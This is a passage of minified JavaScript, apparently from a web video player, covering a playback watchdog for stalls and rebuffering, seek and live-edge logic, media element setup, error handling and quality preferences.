g.q.unsubscribe=function(x,T,t){return this.Em.unsubscribe(x,T,t)};
g.q.Pr=function(x,T){this.Em.Pr(x,T)};
g.q.UZ=function(x,T){return this.Em.UZ(x,T)};
g.q.G2=function(){this.Em.G2()};
g.q.h6=function(){this.Em.h6()};
g.q.TW=function(x){this.Em.TW(x)};
g.q.cV=function(){this.Em.cV()};K8.prototype.add=function(x){this.C=(this.C+1)%this.data.length;this.data[this.C]=x};
K8.prototype.forEach=function(x){for(var T=this.C+1;T<this.data.length;T++)x(this.data[T]||0);for(T=0;T<=this.C;T++)x(this.data[T]||0)};
K8.prototype.clear=function(){for(var x=this.data.length,T=0;T<x;T++)this.data[T]=0;this.Z=this.C=this.data.length-1};g.P(xG,g.$B);xG.prototype.Js=function(){return this.J};
xG.prototype.gi=function(){return this.policy.S&&this.videoData.C?this.videoData.C.jb:Math.max(this.D()-oz(this)*this.C,this.videoData.qU())};g.P(uR,g.W);uR.prototype.NI=function(){var x=this,T=this.Em.Bt(),t=this.Em.getPlayerState();if(T&&!t.isError()){var u=T.getCurrentTime(),H=t.state===8&&u>this.C,I=g.p(t,8)&&g.p(t,16),E=this.Em.BE().isBackground()||t.isSuspended();$G(this,this.Ee,I&&!E,H,"qoe.slowseek",function(){},"timeout");
var Z=isFinite(this.C);Z=I&&Z&&z_4(T,this.C);var e=!u||Math.abs(u-this.C)>10,l=this.Cf.B("html5_exclude_initial_sabr_live_dvr_seek_in_watchdog"),m=u===0&&this.Z&&[11,10].includes(this.Z);$G(this,this.Cz,Z&&e&&!E&&(!l||!m),H,"qoe.slowseek",function(){T.seekTo(x.C)},"set_cmt");
e=Z&&Ec(T.kp(),this.C);var d=this.Em.Kf;Z=!d||d.Z_();var M=function(){T.seekTo(x.C+.001)};
$G(this,this.G9,e&&Z&&!E,H,"qoe.slowseek",M,"jiggle_cmt");Z=function(){return x.Em.jw()};
$G(this,this.mu,e&&!E,H,"qoe.slowseek",Z,"new_elem");e=Zz(t);l=t.isBuffering();var A=T.kp(),R=IE(A,u),Y=R>=0&&A.end(R)>u+5,b=e&&l&&Y;m=this.Em.getVideoData();$G(this,this.AQ,u<.002&&this.C<.002&&I&&g.bS(this.Cf)&&g.DF(m)&&!E,H,"qoe.slowseek",Z,"slow_seek_shorts");$G(this,this.ZZ,m.qg()&&I&&!E&&!m.uG,H,"qoe.slowseek",Z,"slow_seek_gapless_shorts");$G(this,this.uG,b&&!E,e&&!l,"qoe.longrebuffer",M,"jiggle_cmt");$G(this,this.Hv,b&&!E,e&&!l,"qoe.longrebuffer",Z,"new_elem_nnr");if(d){var z=d.getCurrentTime();
I=T.Km();I=mam(I,z);I=!d.isSeeking()&&u===I;$G(this,this.Ym,e&&l&&I&&!E,e&&!l&&!I,"qoe.longrebuffer",function(){T.seekTo(z)},"seek_to_loader")}I={};
M=IE(A,Math.max(u-3.5,0));b=M>=0&&u>A.end(M)-1.1;var F=M>=0&&M+1<A.length?A.start(M+1)-A.end(M):9999;I.mindex=R;I.disIndex=M;I.isdisc=M>=0&&b&&F<11;I.close2edge=b;I.gapsize=F;I.buflen=A.length;this.Z&&(I.seekSour=this.Z);if(M=this.Em.vS()){b=M.nB();F=b!==VW(M,u*1E3).clipId;var V=g.Z9(this.Cf.experiments,"html5_ssap_skip_seeking_offset_ms"),B=(vw(M,b)+V)/1E3;$G(this,this.hQ,F&&e&&l&&!E,e&&!l,"qoe.longrebuffer",function(){T.seekTo(B)},"ssap_clip_not_match")}$G(this,this.Om,e&&l&&!E,e&&!l,"qoe.longrebuffer",
function(){},"timeout",I);
I=t.isSuspended();I=this.Em.jH()&&!I;$G(this,this.N,I,!I,"qoe.start15s",function(){x.Em.Do("ad")},"ads_preroll_timeout");
M=u-this.K<.5;var D;I=!((D=this.Em.vS())==null||!D.h$());F=(b=m.isAd()||I&&this.Cf.experiments.aU("html5_ssap_skip_slow_ad"))&&e&&!l&&M;D=function(){var f=x.Em,O=g.pB(f.videoData)&&f.zI,sH=f.sF.getVideoData();(sH&&f.videoData.isAd()&&sH.k6===f.getVideoData().k6||!f.videoData.CC)&&!O?f.V9("ad.rebuftimeout",2,"RETRYABLE_ERROR","skipslad.vid."+f.videoData.videoId):ED(f.videoData,"html5_ssap_skip_slow_ad")&&O&&f.zI.h$()&&(f.XD(new r4("ssap.transitionfailure",{cpn:VW(f.zI,f.G3()).clipId,pcpn:f.zI.nB(),
cmt:f.G3()})),f=f.zI,O=f.playback.G3(),(O=cim(f,O))&&MjX(f,O.c_()/1E3))};
$G(this,this.Lz,F,!F,"ad.rebuftimeout",D,"skip_slow_ad");M=b&&l&&Ec(T.kp(),u+5)&&M;$G(this,this.ra,M&&!E,!M,"ad.rebuftimeout",D,"skip_slow_ad_buf");D=t.isOrWillBePlaying()&&g.p(t,64)&&!E;$G(this,this.hM,D,H,"qoe.start15s",function(){},"timeout");
D=!!d&&!d.FW&&t.isOrWillBePlaying();$G(this,this.QU,D,H,"qoe.start15s",Z,"newElemMse");D=jc(A,0);M=g.p(t,16)||g.p(t,32);M=!E&&t.isOrWillBePlaying()&&l&&!M&&(g.p(t,64)||u===0)&&D>5;$G(this,this.SY,g.DF(m)&&M,e&&!l,"qoe.longrebuffer",function(){x.Em.h8()},"reset_media_source");
$G(this,this.tQ,g.DF(m)&&M,e&&!l,"qoe.longrebuffer",Z,"reset_media_element");this.K===0&&(this.D=u);M=l&&this.C===0&&u>1&&u===this.D;$G(this,this.nf,g.DF(m)&&M,e&&!l,"qoe.slowseek",function(){T.seekTo(0)},"reseek_after_time_jump");
E=t.isOrWillBePlaying()&&!E;Y=this.Em.fT()-u<6&&!Y&&this.Em.DJ();$G(this,this.J,m.qg()&&E&&l&&Y,e&&!l,"qoe.longrebuffer",function(){x.Em.jw(!1,!0)},"handoff_end_long_buffer_reload");
d=(d==null?void 0:kTi(d))||NaN;d=A.length>1||!isNaN(d)&&d-.1<=u;$G(this,this.S,tB(m)&&E&&l&&d,e&&!l,"qoe.longrebuffer",Z,"gapless_slice_append_stuck");d=R>=0&&A.end(R)>=2;E=tB(m)&&this.Em.nQ&&d&&!m.uG&&E&&(l||g.p(t,8)&&g.p(t,16));$G(this,this.jY,E,H,"qoe.start15s",Z,"gapless_slow_start");t=!!(I&&D>5&&t.isPlaying()&&u<.1);$G(this,this.tM,t,u>.5&&e,"qoe.longrebuffer",Z,"ssap_stuck_in_ad_beginning");this.K=u;this.T.start()}};
uR.prototype.XD=function(x,T,t){T=this.K2(T);T.wn=t;T.wdup=this.j[x]?"1":"0";this.Em.XD(new r4(x,T));this.j[x]=!0};
uR.prototype.K2=function(x){x=Object.assign(this.Em.K2(!0),x.K2());this.C&&(x.stt=this.C.toFixed(3));this.Em.getVideoData().isLivePlayback&&(x.ct=this.Em.getCurrentTime().toFixed(3),x.to=this.Em.Pk().toFixed(3));delete x.uga;delete x.euri;delete x.referrer;delete x.fexp;delete x.vm;return x};
t6.prototype.reset=function(){this.C=this.Z=this.j=this.startTimestamp=0;this.K=!1};
t6.prototype.test=function(x){if(!this.T||this.Z)return!1;if(!x)return this.reset(),!1;x=(0,g.bo)();if(!this.startTimestamp)this.startTimestamp=x,this.j=0;else if(this.j>=this.T)return this.Z=x,!0;this.j+=1;return!1};
t6.prototype.K2=function(){var x={},T=(0,g.bo)();this.startTimestamp&&(x.wsd=(T-this.startTimestamp).toFixed());this.Z&&(x.wtd=(T-this.Z).toFixed());this.C&&(x.wssd=(T-this.C).toFixed());return x};g.P(K_q,g.W);g.q=K_q.prototype;g.q.setMediaElement=function(x){(this.mediaElement=x)?(this.mediaElement&&(this.T||this.K||!this.mediaElement.eI()||this.seekTo(.01,{wp:"seektimeline_setupMediaElement"})),Hk(this)):Iz(this)};
g.q.getCurrentTime=function(){if(iR(this.Em)){if(!isNaN(this.Z))return this.Z}else if(!isNaN(this.Z)&&isFinite(this.Z))return this.Z;return this.mediaElement&&q2V(this)?this.mediaElement.getCurrentTime()+this.timestampOffset:this.K||0};
g.q.j$=function(){return this.tQ};
g.q.G3=function(){return this.getCurrentTime()-this.Pk()};
g.q.gi=function(){return this.C?this.C.gi():Infinity};
g.q.isAtLiveHead=function(x){if(!this.C)return!1;x===void 0&&(x=this.getCurrentTime());return TU(this.C,x)};
g.q.Js=function(){return!!this.C&&this.C.Js()};
g.q.seekTo=function(x,T){var t=T===void 0?{}:T;T=t.aB===void 0?!1:t.aB;var u=t.xA===void 0?0:t.xA;var H=t.OJ===void 0?!1:t.OJ;var I=t.ZB===void 0?0:t.ZB;var E=t.wp===void 0?"":t.wp;var Z=t.seekSource===void 0?void 0:t.seekSource;var e=t.KT===void 0?!1:t.KT;var l=t.fN===void 0?!1:t.fN;t=t.Gl===void 0?!1:t.Gl;e&&(x+=this.Pk());$7(this.videoData)&&this.B("html5_sabr_enable_utc_seek_requests")&&Z===29&&(this.tQ=void 0);e=x<this.QU&&!!this.Kf;var m=$7(this.videoData)&&l;if(e&&!m&&(this.Em.kc("sdai",{sk2bk:x.toFixed(3),
mt:(x-this.timestampOffset).toFixed(3),lstadj:this.QU.toFixed(3)}),this.QU=NaN,this.timestampOffset-=1E3,(m=this.Kf)!=null)){rB5(m,m.timestampOffset-1E3);var d=m.gy,M=new Set;for(Y in d.C){var A=d.C[Y].index,R=A.S3();R&&!M.has(R)&&(R.startTime+=1E3,R.endTime=R.startTime+R.duration,M.add(R));A.segments.length&&(R=A.segments[A.segments.length-1],A.segments=[],A.segments.push(R))}m.J&&m.J.vG();B6(m.K,0,0,!0)}var Y=x;(m=$7(this.videoData))&&l?Y=!0:(d=this.B("html5_always_allow_sqless_sync")&&this.videoData.B9(),
(m||d)&&E==="chunkSelectorSynchronize"?Y=!0:(m=!isFinite(Y)||(this.C?TU(this.C,Y):Y>=this.gb())||!g.rb(this.videoData),m||(Y={st:Y,mst:this.gb()},this.C&&this.B("html5_high_res_seek_logging")&&(Y.ht=this.C.gi(),Y.adft=JlV(this.C)),this.Em.kc("seeknotallowed",Y)),Y=m));if(!Y)return this.j&&(this.j=null,IEv(this)),g.dd(this.getCurrentTime());Y=.005;l&&this.B("html5_sabr_seek_no_shift_tolerance")&&(Y=0);if(Math.abs(x-this.Z)<=Y&&this.jY)return this.T;E&&(Y=x,(this.Cf.AM()||this.B("html5_log_seek_reasons"))&&
this.Em.kc("seekreason",{reason:E,tgt:Y}));Z&&(this.Hv.Z=Z);this.jY&&Iz(this);this.T||(this.T=new XG);x&&!isFinite(x)&&oGH(this,!1);(E=t||e)||(E=x,E=!(this.videoData.isLivePlayback&&this.videoData.j&&!this.videoData.j.C&&!(this.mediaElement&&this.mediaElement.LB()>0&&Tj(this.mediaElement)>0)||ZF(this.videoData)&&this.qU()===this.gb(!1)?0:isFinite(E)||!ZF(this.videoData)));E||(x=q3(this,x,H));x&&!isFinite(x)&&oGH(this,!1);this.K=x;this.G9=I;this.Z=x;this.S=0;this.C&&(H=this.C,I=x,C$H(H,I,!1),Q1H(H,
I));H=this.Em;I=x;E={aB:T,seekSource:Z};H.n2.K=I;t=H.Gw;t.mediaTime=I;t.C=!0;E.aB&&H.nI(E);E=I>H.videoData.endSeconds&&I>H.videoData.limitedPlaybackDurationInSeconds;H.KN&&E&&isFinite(I)&&Nk3(H);I<H.gb()-.01&&(E=IG(H.playerState,2),g.p(E,8)&&(E=IG(E,4)),H.QF(E));H.publish("SEEK_TO",H,I);this.T&&(T?u&&this.AQ.start(u):(T={fN:l,seekSource:Z},this.jY=!0,wr3(this,T)));(T=this.Em.KN)&&x>T.start&&Nk3(this.Em);return this.T};
g.q.gb=function(x){if(!this.videoData.isLivePlayback)return dpJ(this.Em);var T;return xh(this.videoData)&&((T=this.mediaElement)==null?0:T.isPaused())&&this.videoData.C?(x=this.getCurrentTime(),IWC(this.p4(x)*1E3)+x):this.B("html5_sabr_parse_live_metadata_playback_boundaries")&&$7(this.videoData)&&this.videoData.C?x?this.videoData.C.jY||0:this.videoData.C.jb||0:ZF(this.videoData)&&this.videoData.hQ&&this.videoData.C?this.videoData.C.gb()+this.timestampOffset:this.videoData.j&&this.videoData.j.C?!x&&
this.C?this.C.gi():dpJ(this.Em)+this.timestampOffset:this.mediaElement?Jg()?IWC(this.mediaElement.F6().getTime()):Tj(this.mediaElement)+this.timestampOffset||this.timestampOffset:this.timestampOffset};
g.q.qU=function(){if(g.pB(this.videoData)){var x=this.Em;g.pB(x.videoData);var T,t;return(t=(T=x.zI)==null?void 0:T.qU())!=null?t:x.videoData.qU()}if(this.B("html5_sabr_parse_live_metadata_playback_boundaries")&&$7(this.videoData)){var u;return((u=this.videoData.C)==null?void 0:u.U$)||0}T=this.videoData?this.videoData.qU()+this.timestampOffset:this.timestampOffset;return xh(this.videoData)&&this.videoData.C&&(t=Number((x=this.videoData.progressBarStartPosition)==null?void 0:x.utcTimeMillis)/1E3,x=
this.getCurrentTime(),x=this.p4(x)-x,!isNaN(t)&&!isNaN(x))?Math.max(T,t-x):T};
g.q.NL=function(){this.T||this.seekTo(this.K,{wp:"seektimeline_forceResumeTime_singleMediaSourceTransition",seekSource:15})};
g.q.fO=function(){return this.jY&&!isFinite(this.Z)};
g.q.oU=function(){tZv(this,null);this.Hv.dispose();g.W.prototype.oU.call(this)};
g.q.K2=function(){var x={};this.Kf&&Object.assign(x,this.Kf.K2());this.mediaElement&&Object.assign(x,this.mediaElement.K2());return x};
g.q.jI=function(x){this.timestampOffset=x};
g.q.getStreamTimeOffset=function(){return ZF(this.videoData)?0:this.videoData.C?this.videoData.C.getStreamTimeOffset():0};
g.q.Pk=function(){return this.timestampOffset};
g.q.p4=function(x){return this.videoData&&this.videoData.C?this.videoData.C.p4(x-this.timestampOffset):NaN};
g.q.EJ=function(){if(!this.mediaElement)return 0;if(zT(this.videoData)){var x=this.mediaElement,T=x.kp();x=(ZD(T)>0&&x.getDuration()?T.end(T.length-1):0)+this.timestampOffset-this.qU();T=this.gb()-this.qU();return Math.max(0,Math.min(1,x/T))}return this.mediaElement.EJ()};
g.q.H1=function(x){this.D&&(this.D.C=x)};
g.q.df=function(x,T){this.Em.kc("requestUtcSeek",{time:x});$7(this.videoData)&&this.B("html5_sabr_enable_utc_seek_requests")&&(this.tQ=x);var t;(t=this.Kf)==null||t.df(x);T&&(this.uG=T)};
g.q.Gp=function(x){$7(this.videoData)&&this.B("html5_sabr_enable_utc_seek_requests")&&(this.tQ=void 0);if(this.uG)this.Em.kc("utcSeekingFallback",{source:"streamTime",timeSeconds:this.uG}),this.Em.seekTo(this.uG,{wp:"utcSeekingFallback_streamTime"}),this.uG=0;else{var T=this.getCurrentTime();isNaN(T)||(x=this.p4(T)-x,T-=x,this.Em.kc("utcSeekingFallback",{source:"estimate",timeSeconds:T}),this.Em.seekTo(T,{wp:"utcSeekingFallback_estimate"}))}};
g.q.Jb=function(){this.uG=0};
g.q.B=function(x){return this.Cf&&this.Cf.B(x)};g.P(ZE,g.W);ZE.prototype.start=function(){this.Z.start()};
ZE.prototype.stop=function(){this.Z.stop()};
ZE.prototype.clear=function(){for(var x=g.S(this.C.values()),T=x.next();!T.done;T=x.next())T.value.clear()};
ZE.prototype.sample=function(){for(var x=g.S(this.j),T=x.next();!T.done;T=x.next()){var t=g.S(T.value);T=t.next().value;t=t.next().value;this.C.has(T)||this.C.set(T,new d3J(qBM.has(T)));this.C.get(T).update(t())}this.Z.start()};
var qBM=new Set(["networkactivity"]);d3J.prototype.update=function(x){this.C?(this.buffer.add(x-this.yO||0),this.yO=x):this.buffer.add(x)};
d3J.prototype.clear=function(){this.buffer.clear();this.yO=0};lR.prototype.MX=function(){return this.started};
lR.prototype.start=function(){this.started=!0};
lR.prototype.reset=function(){this.finished=this.started=!1};var S2i=!1;g.P(g.A6,g.$B);g.q=g.A6.prototype;g.q.oU=function(){this.logger.debug("dispose");g.M2(this.nD);rJi(this.oH);this.visibility.unsubscribe("visibilitystatechange",this.oH);Lh4(this);SZ(this);g.Du.L_(this.Rs);this.Jm();this.z7=null;g.IP(this.videoData);g.IP(this.ri);g.IP(this.TU);g.IP(this.hF);g.Eh(this.Na9);this.KN=null;g.$B.prototype.oU.call(this)};
g.q.Es=function(x,T,t,u,H){if(this.Cf.B("html5_log_ad_playback_docid")){var I=this.VA();if(I.qoe){I=I.qoe;var E=this.Cf.ZZ||"yt";g.ky(I,g.Uw(I.provider),"ad_playback",[x,T,t,H,E])}}else this.VA().Es(x,T,t);this.B("html5_log_media_perf_info")&&this.kc("adloudness",{ld:u.toFixed(3),cpn:x})};
g.q.AA=function(){var x;return(x=this.Kf)==null?void 0:x.AA()};
g.q.wv=function(){var x;return(x=this.Kf)==null?void 0:x.wv()};
g.q.zY=function(){var x;return(x=this.Kf)==null?void 0:x.zY()};
g.q.iK=function(){var x;return(x=this.Kf)==null?void 0:x.iK()};
g.q.Ut=function(){return this.videoData.Ut()};
g.q.WE=function(){return this.B("html5_not_reset_media_source")&&!this.Ut()&&!this.videoData.isLivePlayback&&g.DF(this.videoData)&&!this.Cf.supportsGaplessShorts()};
g.q.Op=function(){if(this.videoData.J){var x;if(!(x=this.videoData.j3)){var T;x=(T=this.sF.VU())==null?void 0:T.AA()}this.videoData.j3=x;if(!(x=this.videoData.KX)){var t;x=(t=this.sF.VU())==null?void 0:t.wv()}this.videoData.KX=x}if(XbD(this.videoData)||!XU(this.videoData))t=this.videoData.errorDetail,this.V9(this.videoData.errorCode||"auth",2,unescape(this.videoData.errorReason),t,t,this.videoData.p7||void 0);this.B("html5_generate_content_po_token")&&this.Ck();this.B("html5_enable_d6de4")&&this.Wy();
if(this.B("html5_ssap_cleanup_player_switch_ad_player")||this.B("html5_ssap_cleanup_ad_player_on_new_data"))if(t=this.sF.Wk())this.bC=t.clientPlaybackNonce};
g.q.gK=function(){return this.BJ};
g.q.Ig=function(){!this.ge||this.ge.T9();this.ge=new g.Jl(new N0(this.videoData,this.Cf,this));this.BJ=new Qn(this.Cf,this,this.ge)};
g.q.getVideoData=function(){return this.videoData};
g.q.Y=function(){return this.Cf};
g.q.Yh=function(x){return this.Gt.Yh(this.z7,x===void 0?!1:x)};
g.q.VA=function(x){if(x)a:{for(var T=this.BJ,t=g.S(T.C.values()),u=t.next();!u.done;u=t.next())if(u=u.value,u.getVideoData().videoId===x){x=u;break a}x=T.Z}else x=this.BJ.VA();return x};
g.q.BE=function(){return this.visibility};
g.q.oe=function(){return this.mediaElement&&this.mediaElement.kQ()?this.mediaElement.yA():null};
g.q.Bt=function(){return this.mediaElement};
g.q.vr=function(){if(this.B("html5_check_video_data_errors_before_playback_start")&&this.videoData.errorCode)return!1;this.Y().D&&this.Y().houseBrandUserStatus&&this.kc("hbut",{status:this.Y().houseBrandUserStatus});if(this.videoData.eD())return!0;this.V9("api.invalidparam",2,void 0,"invalidVideodata.1");return!1};
g.q.Ou=function(x){(x=x===void 0?!1:x)||g.pB(this.videoData)||C8(this.VA());this.Tp=x;!this.vr()||this.WZ.MX()?g.bS(this.Cf)&&this.videoData.isLivePlayback&&this.WZ.MX()&&!this.WZ.finished&&!this.Tp&&this.sT():(this.WZ.start(),x=this.VA(),g.Uw(x.provider),x.qoe&&haH(x.qoe),this.sT())};
g.q.sT=function(){if(this.videoData.isLoaded()){var x=this.ri;g.Z9(x.Pv.experiments,"html5_player_min_build_cl")>0&&g.Z9(x.Pv.experiments,"html5_player_min_build_cl")>730664130&&avX(x,"oldplayer");BkH(this)}else this.videoData.zc||this.videoData.SH?this.Tp&&g.bS(this.Cf)&&this.videoData.isLivePlayback||(this.videoData.zc?nYV(this.videoData):(x=this.VA(),x.qoe&&(x=x.qoe,vr(x,"protected"),x.provider.videoData.T?x.LQ():x.provider.videoData.subscribe("dataloaded",x.LQ,x)),hfV(this.videoData))):!this.videoData.loading&&
this.gC&&nG3(this)};
g.q.Da=function(x){this.VF=x;this.Kf&&(cBf(this.Kf,new g.q0(x)),this.kc("sdai",{sdsstm:1}))};
g.q.iL=function(x){this.zI=x;this.Kf&&this.Kf.iL(x)};
g.q.uw=oV(15);g.q.isFullscreen=function(){return this.visibility.isFullscreen()};
g.q.isBackground=function(){return this.visibility.isBackground()};
g.q.cV=function(){var x=this;this.logger.debug("Updating for format change");Rz(this).then(function(){return M3(x)});
this.playerState.isOrWillBePlaying()&&this.playVideo()};
g.q.fI=function(){this.logger.debug("start readying playback");this.mediaElement&&this.mediaElement.activate();this.Ou();this.vr()&&!g.p(this.playerState,128)&&(this.Xw.MX()||(this.Xw.start(),this.videoData.k$?this.QF(iZ(this.playerState,4)):this.QF(iZ(iZ(this.playerState,8),1))),aEH(this))};
g.q.mA=function(){return this.WZ.finished};
g.q.sendAbandonmentPing=function(){g.p(this.getPlayerState(),128)||(this.publish("internalAbandon"),this.Ls(!0),Lh4(this),g.Du.L_(this.Rs))};
g.q.W1=function(x,T){x=x===void 0?!0:x;(T===void 0||T)&&this.mediaElement&&this.mediaElement.pause();this.QF(x?new g.uZ(14):new g.uZ)};
g.q.sL=function(){MhV(this.VA())};
g.q.V9=function(x,T,t,u,H,I){this.logger.debug(function(){return"set player error: ec="+x+", detail="+H});
var E,Z;g.bu(cCd,t)?E=t:t?Z=t:E="GENERIC_WITHOUT_LINK";u=(u||"")+(";a6s."+iD());if(x==="auth"||x==="drm.auth"||x==="heartbeat.stop")t&&(u+=";r."+t.replaceAll(" ","_")),I&&(u+="sr."+I.replaceAll(" ","_"));T={errorCode:x,errorDetail:H,errorMessage:Z||g.fb[E]||"",fh:E,p7:I||"",VN:u,Ik:T,cpn:this.videoData.clientPlaybackNonce};this.videoData.errorCode=x;Pk(this,"dataloaderror");this.QF(H0(this.playerState,128,T));g.Du.L_(this.Rs);SZ(this);this.iM()};
g.q.Do=function(x){this.L$=this.L$.filter(function(T){return x!==T});
this.logger.debug(function(){return"set preroll ready for "+x});
g.pB(this.videoData)&&!this.A7()&&this.MJ.T7("pl_pr");this.Xw.MX()&&aEH(this)};
g.q.A7=function(){var x;(x=!!this.L$.length)||(x=this.dV.C.array[0],x=!!x&&x.start<=-0x8000000000000);return x};
g.q.Js=function(){return this.n2.Js()};
g.q.isPlaying=function(){return this.playerState.isPlaying()};
g.q.nm=function(){return this.playerState.nm()&&this.videoData.k$};
g.q.getPlayerState=function(){return this.playerState};
g.q.Hy=function(x){var T;(T=this.Kf)==null||T.Hy(x)};
g.q.Up=function(x){var T;(T=this.Kf)==null||T.Up(x)};
g.q.getPlayerType=function(){return this.playerType};
g.q.getPreferredQuality=function(){if(this.z7){var x=this.z7;x=x.videoData.Gq.compose(x.videoData.Ks);x=Ir(x)}else x="auto";return x};
g.q.o9=oV(20);g.q.isGapless=function(){return!!this.mediaElement&&this.mediaElement.isView()};
g.q.setMediaElement=function(x){this.logger.debug("set media element");if(this.mediaElement&&x.yA()===this.mediaElement.yA()&&(x.isView()||this.mediaElement.isView())){if(x.isView()||!this.mediaElement.isView())g.zx(this.jK),this.mediaElement=x,this.mediaElement.Em=this,tYf(this),this.n2.setMediaElement(this.mediaElement)}else{this.mediaElement&&this.Jm();if(!this.playerState.isError()){var T=IG(this.playerState,512);g.p(T,8)&&!g.p(T,2)&&(T=iZ(T,1));x.isView()&&(T=IG(T,64));this.QF(T)}this.mediaElement=
x;this.mediaElement.Em=this;!g.bS(this.Cf)&&this.mediaElement.setLoop(this.loop);this.mediaElement.setPlaybackRate(this.playbackRate);tYf(this);this.n2.setMediaElement(this.mediaElement);this.B("html5_prewarm_media_source")&&!this.ri.Fv()&&Y3V(this.mediaElement)}};
g.q.Jm=function(x,T,t){x=x===void 0?!1:x;T=T===void 0?!1:T;t=t===void 0?!1:t;this.logger.debug("remove media element");if(this.mediaElement){var u=this.getCurrentTime();u>0&&(this.n2.K=u);this.n2.setMediaElement(null);!x&&this.WE()?wk4(this):this.kq(t);this.Kf&&(TL(this.Kf),bR(this,T));this.pm.stop();if(this.mediaElement&&(!this.Xw.MX()&&!this.jH()||this.playerState.isError()||g.p(this.playerState,2)||this.QF(iZ(this.playerState,512)),this.mediaElement)){g.zx(this.jK);if(x||!this.mediaElement.isView())this.MJ.Tq("mesv_s"),
this.mediaElement.stopVideo(),rk(this);this.mediaElement=this.mediaElement.Em=null}}};
g.q.playVideo=function(x,T){x=x===void 0?!1:x;T=T===void 0?!1:T;var t=this,u,H,I,E,Z,e;return g.G(function(l){if(l.C==1){t.logger.debug("start play video");var m=window.google_image_requests;m&&m.length>10&&(window.google_image_requests=m.slice(-10));if(g.p(t.playerState,128))return l.return();if(t.ri.OB())return t.publish("signatureexpired"),l.return();t.mediaElement&&C8(t.VA());t.fI();(g.p(t.playerState,64)||x)&&t.QF(iZ(t.playerState,8));return t.Xw.finished&&t.mediaElement?t.z7||!t.rW?l.lG(2):
g.v(l,t.rW,3):l.return()}if(l.C!=2&&g.p(t.playerState,128))return l.return();if(!t.videoData.j)return t.videoData.isLivePlayback&&!g.tF(t.Cf.T,!0)?(u="html5.unsupportedlive",H=2):(u=t.videoData.Ut()?"fmt.unplayable":"fmt.noneavailable",H=1),g.Vh(Error("selectableFormats")),t.V9(u,H,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK","selectableFormats.1"),l.return();if(t.D$()&&t.videoData.j.C)return t.logger.debug("rebuild playbackData for airplay"),l.return(Rz(t));if(iR(t))m=t.n2,q$(m.videoData)?!m.isAtLiveHead(m.getCurrentTime())&&
m.Js()&&m.Em.seekTo(Infinity,{wp:"seektimeline_peggedToLive",seekSource:34}):g.pB(m.videoData)&&m.getCurrentTime()<m.qU()&&m.Em.seekTo(m.qU(),{wp:"seektimeline_outOfWindow"});else if(q$(t.videoData)){if(I=t.getCurrentTime()<t.qU()-15,E=g.rb(t.videoData)&&t.playerState.isPaused(),Z=g.p(t.playerState,1024),m=t.n2,m.videoData.B9()&&wb(m.videoData)||Z||!I&&!E||(E?(t.logger.debug("seek to head for live because of live-only"),t.seekTo(Infinity,{wp:"videoplayer_unpauseLiveOnly",seekSource:102})):(t.logger.debug("seek to min seekable for live because of out of window"),
t.seekTo(t.qU(),{wp:"videoplayer_outOfWindow",seekSource:102}))),!t.isAtLiveHead(void 0,!0)&&t.Js()&&(t.logger.debug("seek to head for live because pegged to live"),e={wp:"videoplayer_peggedToLive",seekSource:34},t.seekTo(Infinity,e)),g.p(t.playerState,256)&&t.videoData.uG&&t.n2.fO())return t.QF(E1(t.playerState,8,4)),l.return()}else g.pB(t.videoData)&&t.getCurrentTime()<t.qU()-0&&t.seekTo(t.qU(),{wp:"videoplayer_outOfWindow"});g.p(t.playerState,4)&&g.p(t.playerState,16)&&t.QF(E1(t.playerState,9,
4));if(M3(t,T))return Is5(t),l.return();ibm(t);g.RV(l)})};
g.q.h8=function(x){this.logger.debug("reset media source");x&&this.XD(new r4("qoe.restart",x));this.QF(iZ(this.playerState,2048));this.kq();x=this.videoData.C&&mV(this.videoData.C);var T=this.mediaElement&&this.mediaElement.isView();x||T?(this.Kf&&pK5(this.Kf),this.jw()):(M3(this),this.playerState.isOrWillBePlaying()&&this.playVideo())};
g.q.IX=function(){if(!this.z7)return[];var x=NC4(this.Gt,this.z7,this.Cm());return this.z7.C.IX(x)};
g.q.Xk=function(){if(!this.z7)return[];var x=NC4(this.Gt,this.z7,this.Cm());return this.z7.C.Xk(x)};
g.q.Cm=function(){var x=this.Ei?this.Ei.Cm():oU(this.videoData)&&this.videoData.C&&mV(this.videoData.C)?this.videoData.kX?yv:Ehv:yv;this.C8&&(x=x.compose(CVE));return x};
g.q.hG=function(){return this.z7?NC4(this.Gt,this.z7,this.Cm()):yv};
g.q.iJ=function(){var x=this.AR(),T=this.sF.Wk().videoId;return this.sF.wD.iJ(x)||this.sF.wD.iJ(T)};
g.q.Ow=function(x,T,t){var u;if((u=this.VA().qoe)!=null){var H=x.C,I=g.Uw(u.provider);g.ky(u,I,"vfi",[H===0?"":""+H,H===0?"A":"M"])}this.videoData.Gq=x;if(this.z7&&T&&(T=this.Gt,u=this.z7,u.C.C)){var E=u.C.videoInfos[0].video.C;H=E!==0&&x.C===E;I=BZ()>E;E=T.B("html5_dont_save_under_1080")&&E<1080;if(!H||!I&&!E){var Z;H=CUq(T,(Z=u.C)==null?void 0:Z.videoInfos);Z=T.Em.getPlaybackRate();Z>1&&H&&(Z=rHf(T.Cf.T,u.C.videoInfos,Z),x.C!==0&&Z<x.C&&T.Em.setPlaybackRate(1));var e,l;x=g.BU[Ir(x)];Z=((e=u.videoData.Z)==
null?void 0:(l=e.video)==null?void 0:l.C)||0;g.vc("yt-player-quality",{quality:x,previousQuality:Z},31104E3);T.Cf.schedule.policy.K=BZ()>=480;if(T.B("html5_exponential_memory_for_sticky")){e=T.Cf.hR;l=1;var m=m===void 0?!1:m;CZD(e,"sticky-lifetime");e.values["sticky-lifetime"]&&e.O_["sticky-lifetime"]||(e.values["sticky-lifetime"]=0,e.O_["sticky-lifetime"]=0);m&&Y3(e,"sticky-lifetime")>.0625&&(l=e.O_["sticky-lifetime"]*2);e.values["sticky-lifetime"]+=1*Math.pow(2,e.C/l);e.O_["sticky-lifetime"]=l;
e.K.start()}if(T.B("html5_perf_cap_override_sticky")){m=T.j;e=T.B("html5_perserve_av1_perf_cap");e=e===void 0?!1:e;if(e===void 0?0:e){l=DR();T=g.S(Object.keys(l));for(x=T.next();!x.done;x=T.next())x=x.value,x.indexOf("1")!==0&&delete l[x];g.vc("yt-player-performance-cap",l,2592E3)}else g.Gx("yt-player-performance-cap");zm5(e);if(e){e=g.S(k8.keys());for(l=e.next();!l.done;l=e.next())l=l.value,l.startsWith("1")||k8.delete(l);e=g.S(Sh.values());for(l=e.next();!l.done;l=e.next())l=l.value,l.startsWith("1")||
